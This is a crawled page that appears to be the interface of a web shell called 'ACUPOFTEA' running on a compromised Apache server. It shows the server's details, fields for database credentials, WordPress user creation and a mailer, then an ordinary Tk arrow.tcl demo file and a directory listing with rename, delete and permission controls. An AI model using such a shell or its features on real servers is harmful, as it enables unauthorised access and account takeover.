System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
tk8.6
/
demos
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
arrow.tcl
# arrow.tcl -- # # This demonstration script creates a canvas widget that displays a # large line with an arrowhead whose shape can be edited interactively. if {![info exists widgetDemo]} { error "This script should be run from the \"widget\" demo." } package require Tk # arrowSetup -- # This procedure regenerates all the text and graphics in the canvas # window. It's called when the canvas is initially created, and also # whenever any of the parameters of the arrow head are changed # interactively. # # Arguments: # c - Name of the canvas widget. proc arrowSetup c { upvar #0 demo_arrowInfo v # Remember the current box, if there is one. set tags [$c gettags current] if {$tags != ""} { set cur [lindex $tags [lsearch -glob $tags box?]] } else { set cur "" } # Create the arrow and outline. $c delete all eval {$c create line $v(x1) $v(y) $v(x2) $v(y) -arrow last \ -width [expr {10*$v(width)}] -arrowshape [list \ [expr {10*$v(a)}] [expr {10*$v(b)}] [expr {10*$v(c)}]]} \ $v(bigLineStyle) set xtip [expr {$v(x2)-10*$v(b)}] set deltaY [expr {10*$v(c)+5*$v(width)}] $c create line $v(x2) $v(y) $xtip [expr {$v(y)+$deltaY}] \ [expr {$v(x2)-10*$v(a)}] $v(y) $xtip [expr {$v(y)-$deltaY}] \ $v(x2) $v(y) -width 2 -capstyle round -joinstyle round # Create the boxes for reshaping the line and arrowhead. eval {$c create rect [expr {$v(x2)-10*$v(a)-5}] [expr {$v(y)-5}] \ [expr {$v(x2)-10*$v(a)+5}] [expr {$v(y)+5}] \ -tags {box1 box}} $v(boxStyle) eval {$c create rect [expr {$xtip-5}] [expr {$v(y)-$deltaY-5}] \ [expr {$xtip+5}] [expr {$v(y)-$deltaY+5}] \ -tags {box2 box}} $v(boxStyle) eval {$c create rect [expr {$v(x1)-5}] [expr {$v(y)-5*$v(width)-5}] \ [expr {$v(x1)+5}] [expr {$v(y)-5*$v(width)+5}] \ -tags {box3 box}} $v(boxStyle) if {$cur != ""} { eval $c itemconfigure $cur $v(activeStyle) } # Create three arrows in actual size with the same parameters $c create line [expr {$v(x2)+50}] 0 [expr {$v(x2)+50}] 1000 \ -width 2 set tmp [expr {$v(x2)+100}] $c create line $tmp [expr {$v(y)-125}] $tmp [expr {$v(y)-75}] \ -width $v(width) \ -arrow both -arrowshape "$v(a) $v(b) $v(c)" $c create line [expr {$tmp-25}] $v(y) [expr {$tmp+25}] $v(y) \ -width $v(width) \ -arrow both -arrowshape "$v(a) $v(b) $v(c)" $c create line [expr {$tmp-25}] [expr {$v(y)+75}] [expr {$tmp+25}] \ [expr {$v(y)+125}] -width $v(width) \ -arrow both -arrowshape "$v(a) $v(b) $v(c)" # Create a bunch of other arrows and text items showing the # current dimensions. set tmp [expr {$v(x2)+10}] $c create line $tmp [expr {$v(y)-5*$v(width)}] \ $tmp [expr {$v(y)-$deltaY}] \ -arrow both -arrowshape $v(smallTips) $c create text [expr {$v(x2)+15}] [expr {$v(y)-$deltaY+5*$v(c)}] \ -text $v(c) -anchor w set tmp [expr {$v(x1)-10}] $c create line $tmp [expr {$v(y)-5*$v(width)}] \ $tmp [expr {$v(y)+5*$v(width)}] \ -arrow both -arrowshape $v(smallTips) $c create text [expr {$v(x1)-15}] $v(y) -text $v(width) -anchor e set tmp [expr {$v(y)+5*$v(width)+10*$v(c)+10}] $c create line [expr {$v(x2)-10*$v(a)}] $tmp $v(x2) $tmp \ -arrow both -arrowshape $v(smallTips) $c create text [expr {$v(x2)-5*$v(a)}] [expr {$tmp+5}] \ -text $v(a) -anchor n set tmp [expr {$tmp+25}] $c create line [expr {$v(x2)-10*$v(b)}] $tmp $v(x2) $tmp \ -arrow both -arrowshape $v(smallTips) $c create text [expr {$v(x2)-5*$v(b)}] [expr {$tmp+5}] \ -text $v(b) -anchor n $c create text $v(x1) 310 -text "-width $v(width)" \ -anchor w -font {Helvetica 18} $c create text $v(x1) 330 -text "-arrowshape {$v(a) $v(b) $v(c)}" \ -anchor w -font {Helvetica 18} incr v(count) } set w .arrow catch {destroy $w} toplevel $w wm title $w "Arrowhead Editor Demonstration" wm iconname $w "arrow" positionWindow $w set c $w.c label $w.msg -font $font -wraplength 5i -justify left -text "This widget allows you to experiment with different widths and arrowhead shapes for lines in canvases. To change the line width or the shape of the arrowhead, drag any of the three boxes attached to the oversized arrow. The arrows on the right give examples at normal scale. The text at the bottom shows the configuration options as you'd enter them for a canvas line item." pack $w.msg -side top ## See Code / Dismiss buttons set btns [addSeeDismiss $w.buttons $w] pack $btns -side bottom -fill x canvas $c -width 500 -height 350 -relief sunken -borderwidth 2 pack $c -expand yes -fill both set demo_arrowInfo(a) 8 set demo_arrowInfo(b) 10 set demo_arrowInfo(c) 3 set demo_arrowInfo(width) 2 set demo_arrowInfo(motionProc) arrowMoveNull set demo_arrowInfo(x1) 40 set demo_arrowInfo(x2) 350 set demo_arrowInfo(y) 150 set demo_arrowInfo(smallTips) {5 5 2} set demo_arrowInfo(count) 0 if {[winfo depth $c] > 1} { set demo_arrowInfo(bigLineStyle) "-fill SkyBlue1" set demo_arrowInfo(boxStyle) "-fill {} -outline black -width 1" set demo_arrowInfo(activeStyle) "-fill red -outline black -width 1" } else { # Main widget program sets variable tk_demoDirectory set demo_arrowInfo(bigLineStyle) "-fill black \ -stipple @[file join $tk_demoDirectory images grey.25]" set demo_arrowInfo(boxStyle) "-fill {} -outline black -width 1" set demo_arrowInfo(activeStyle) "-fill black -outline black -width 1" } arrowSetup $c $c bind box <Enter> "$c itemconfigure current $demo_arrowInfo(activeStyle)" $c bind box <Leave> "$c itemconfigure current $demo_arrowInfo(boxStyle)" $c bind box <B1-Enter> " " $c bind box <B1-Leave> " " $c bind box1 <1> {set demo_arrowInfo(motionProc) arrowMove1} $c bind box2 <1> {set demo_arrowInfo(motionProc) arrowMove2} $c bind box3 <1> {set demo_arrowInfo(motionProc) arrowMove3} $c bind box <B1-Motion> "\$demo_arrowInfo(motionProc) $c %x %y" bind $c <Any-ButtonRelease-1> "arrowSetup $c" # arrowMove1 -- # This procedure is called for each mouse motion event on box1 (the # one at the vertex of the arrow). It updates the controlling parameters # for the line and arrowhead. # # Arguments: # c - The name of the canvas window. # x, y - The coordinates of the mouse. proc arrowMove1 {c x y} { upvar #0 demo_arrowInfo v set newA [expr {($v(x2)+5-round([$c canvasx $x]))/10}] if {$newA < 0} { set newA 0 } if {$newA > 25} { set newA 25 } if {$newA != $v(a)} { $c move box1 [expr {10*($v(a)-$newA)}] 0 set v(a) $newA } } # arrowMove2 -- # This procedure is called for each mouse motion event on box2 (the # one at the trailing tip of the arrowhead). It updates the controlling # parameters for the line and arrowhead. # # Arguments: # c - The name of the canvas window. # x, y - The coordinates of the mouse. proc arrowMove2 {c x y} { upvar #0 demo_arrowInfo v set newB [expr {($v(x2)+5-round([$c canvasx $x]))/10}] if {$newB < 0} { set newB 0 } if {$newB > 25} { set newB 25 } set newC [expr {($v(y)+5-round([$c canvasy $y])-5*$v(width))/10}] if {$newC < 0} { set newC 0 } if {$newC > 20} { set newC 20 } if {($newB != $v(b)) || ($newC != $v(c))} { $c move box2 [expr {10*($v(b)-$newB)}] [expr {10*($v(c)-$newC)}] set v(b) $newB set v(c) $newC } } # arrowMove3 -- # This procedure is called for each mouse motion event on box3 (the # one that controls the thickness of the line). It updates the # controlling parameters for the line and arrowhead. # # Arguments: # c - The name of the canvas window. # x, y - The coordinates of the mouse. proc arrowMove3 {c x y} { upvar #0 demo_arrowInfo v set newWidth [expr {($v(y)+2-round([$c canvasy $y]))/5}] if {$newWidth < 0} { set newWidth 0 } if {$newWidth > 20} { set newWidth 20 } if {$newWidth != $v(width)} { $c move box3 0 [expr {5*($v(width)-$newWidth)}] set v(width) $newWidth } }
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
..
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
images
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
README
text/plain
2.03 KB
-rw-r--r--
2019-10-16 05:25:12
anilabel.tcl
text/plain
6.51 KB
-rw-r--r--
2019-10-16 05:25:12
aniwave.tcl
text/plain
3.41 KB
-rw-r--r--
2019-10-16 05:25:12
arrow.tcl
text/plain
7.8 KB
-rw-r--r--
2019-10-16 05:25:12
bind.tcl
text/plain
2.88 KB
-rw-r--r--
2019-10-16 05:25:12
bitmap.tcl
text/plain
1.38 KB
-rw-r--r--
2019-10-16 05:25:12
browse
text/x-shellscript
1.72 KB
-rwxr-xr-x
2019-10-16 05:25:12
button.tcl
text/plain
1.47 KB
-rw-r--r--
2019-10-16 05:25:12
check.tcl
text/plain
2.22 KB
-rw-r--r--
2019-10-16 05:25:12
clrpick.tcl
text/plain
1.4 KB
-rw-r--r--
2019-10-16 05:25:12
colors.tcl
text/plain
4.88 KB
-rw-r--r--
2019-10-16 05:25:12
combo.tcl
text/plain
1.92 KB
-rw-r--r--
2019-10-16 05:25:12
cscroll.tcl
text/plain
3.31 KB
-rw-r--r--
2019-10-16 05:25:12
ctext.tcl
text/plain
5.88 KB
-rw-r--r--
2019-10-16 05:25:12
dialog1.tcl
text/plain
660 B
-rw-r--r--
2019-10-16 05:25:12
dialog2.tcl
text/plain
613 B
-rw-r--r--
2019-10-16 05:25:12
en.msg
text/plain
3.78 KB
-rw-r--r--
2019-10-16 05:25:12
entry1.tcl
text/plain
1.35 KB
-rw-r--r--
2019-10-16 05:25:12
entry2.tcl
text/plain
2.03 KB
-rw-r--r--
2019-10-16 05:25:12
entry3.tcl
text/plain
5.96 KB
-rw-r--r--
2019-10-16 05:25:12
filebox.tcl
text/plain
2.3 KB
-rw-r--r--
2019-10-16 05:25:12
floor.tcl
text/plain
77.25 KB
-rw-r--r--
2019-10-16 05:25:12
fontchoose.tcl
text/plain
1.71 KB
-rw-r--r--
2019-10-16 05:25:12
form.tcl
text/plain
1.02 KB
-rw-r--r--
2019-10-16 05:25:12
goldberg.tcl
text/plain
55.23 KB
-rw-r--r--
2019-10-16 05:25:12
hello
text/x-shellscript
512 B
-rwxr-xr-x
2019-10-16 05:25:12
hscale.tcl
text/plain
1.46 KB
-rw-r--r--
2019-10-16 05:25:12
icon.tcl
text/plain
2.01 KB
-rw-r--r--
2019-10-16 05:25:12
image1.tcl
text/plain
1002 B
-rw-r--r--
2019-10-16 05:25:12
image2.tcl
text/plain
3.27 KB
-rw-r--r--
2019-10-16 05:25:12
items.tcl
text/plain
9.9 KB
-rw-r--r--
2019-10-16 05:25:12
ixset
text/x-shellscript
7.88 KB
-rwxr-xr-x
2019-10-16 05:25:12
knightstour.tcl
text/plain
8.93 KB
-rw-r--r--
2019-10-16 05:25:12
label.tcl
text/plain
1.35 KB
-rw-r--r--
2019-10-16 05:25:12
labelframe.tcl
text/plain
1.8 KB
-rw-r--r--
2019-10-16 05:25:12
license.terms
text/plain
2.21 KB
-rw-r--r--
2019-10-16 05:25:12
mclist.tcl
text/plain
4.25 KB
-rw-r--r--
2019-10-16 05:25:12
menu.tcl
text/plain
6.62 KB
-rw-r--r--
2019-10-16 05:25:12
menubu.tcl
text/plain
4.37 KB
-rw-r--r--
2019-10-16 05:25:12
msgbox.tcl
text/plain
1.95 KB
-rw-r--r--
2019-10-16 05:25:12
nl.msg
text/plain
6.59 KB
-rw-r--r--
2019-10-16 05:25:12
paned1.tcl
text/plain
1.08 KB
-rw-r--r--
2019-10-16 05:25:12
paned2.tcl
text/plain
2.19 KB
-rw-r--r--
2019-10-16 05:25:12
pendulum.tcl
text/plain
7.42 KB
-rw-r--r--
2019-10-16 05:25:12
plot.tcl
text/plain
2.69 KB
-rw-r--r--
2019-10-16 05:25:12
puzzle.tcl
text/plain
2.54 KB
-rw-r--r--
2019-10-16 05:25:12
radio.tcl
text/plain
2.69 KB
-rw-r--r--
2019-10-16 05:25:12
rmt
text/x-shellscript
5.19 KB
-rwxr-xr-x
2019-10-16 05:25:12
rolodex
text/x-shellscript
8.11 KB
-rwxr-xr-x
2019-10-16 05:25:12
ruler.tcl
text/plain
5.09 KB
-rw-r--r--
2019-10-16 05:25:12
sayings.tcl
text/plain
2.22 KB
-rw-r--r--
2019-10-16 05:25:12
search.tcl
text/plain
4.3 KB
-rw-r--r--
2019-10-16 05:25:12
spin.tcl
text/plain
1.78 KB
-rw-r--r--
2019-10-16 05:25:12
states.tcl
text/plain
2 KB
-rw-r--r--
2019-10-16 05:25:12
style.tcl
text/plain
6.78 KB
-rw-r--r--
2019-10-16 05:25:12
tclIndex
text/plain
4.25 KB
-rw-r--r--
2019-10-16 05:25:12
tcolor
text/x-shellscript
10.99 KB
-rwxr-xr-x
2019-10-16 05:25:12
text.tcl
text/plain
4.17 KB
-rw-r--r--
2019-10-16 05:25:12
textpeer.tcl
text/plain
2.14 KB
-rw-r--r--
2019-10-16 05:25:12
timer
text/x-shellscript
1.07 KB
-rwxr-xr-x
2019-10-16 05:25:12
toolbar.tcl
text/plain
3.19 KB
-rw-r--r--
2019-10-16 05:25:12
tree.tcl
text/plain
3.09 KB
-rw-r--r--
2019-10-16 05:25:12
ttkbut.tcl
text/plain
3.33 KB
-rw-r--r--
2019-10-16 05:25:12
ttkmenu.tcl
text/plain
2.33 KB
-rw-r--r--
2019-10-16 05:25:12
ttknote.tcl
text/plain
2.26 KB
-rw-r--r--
2019-10-16 05:25:12
ttkpane.tcl
text/plain
4.07 KB
-rw-r--r--
2019-10-16 05:25:12
ttkprogress.tcl
text/plain
1.5 KB
-rw-r--r--
2019-10-16 05:25:12
ttkscale.tcl
text/plain
1.39 KB
-rw-r--r--
2019-10-16 05:25:12
twind.tcl
text/plain
10.79 KB
-rw-r--r--
2019-10-16 05:25:12
unicodeout.tcl
text/plain
4.3 KB
-rw-r--r--
2019-10-16 05:25:12
vscale.tcl
text/plain
1.44 KB
-rw-r--r--
2019-10-16 05:25:12
widget
text/x-shellscript
22.72 KB
-rwxr-xr-x
2019-10-16 05:25:12
~ ACUPOFTEA - mail.ontime-ae.com